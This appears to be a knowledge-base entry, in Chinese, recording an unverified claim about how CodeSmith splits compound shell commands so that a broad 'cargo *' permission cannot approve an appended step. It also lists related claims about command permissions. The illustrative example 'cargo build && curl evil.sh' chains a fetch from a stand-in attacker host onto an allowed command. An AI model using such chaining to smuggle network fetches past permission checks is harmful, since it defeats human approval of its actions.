待验证50% 置信解决方案精确时间
CodeSmith 的复合命令按 &&、;、| 切分逐段判定，每段都命中规则整条命令才放行，因此 cargo * 授权无法为 cargo build && curl evil.sh 背书。
1
来源数
50%
置信度
中期 (~90 天)
时效性
2026/10/12
首次发现
有效期至：2027/1/10
来源
涉及实体
相关事实
待验证让checker执行cd && node这类组合命令时会被全线拦截，解决方案是规定checker只跑单命令55% 相似待验证Claude Code的后台命令方式只有在命令完全退出后才会通知主会话54% 相似待验证所有 docker-compose 命令必须在包含 docker-compose.yaml 的目录下执行，否则无效53% 相似待验证CodeSmith 移除了关停、重启、killall、docker rm、chown 等激进模式，因为它们会为常规操作制造不必要的审批弹窗。52% 相似待验证脚本选择退出码2而非1作为失败码，因为在shell惯例中2常用于'用法错误或条件不满足'，便于区分脚本崩溃与账本主动拒绝52% 相似
引用此条事实
Stable URI
https://kongchang.com/claim/1007508API
curl https://kongchang.com/api/v1/knowledge/claims/1007508MCP
get_claim(id=1007508)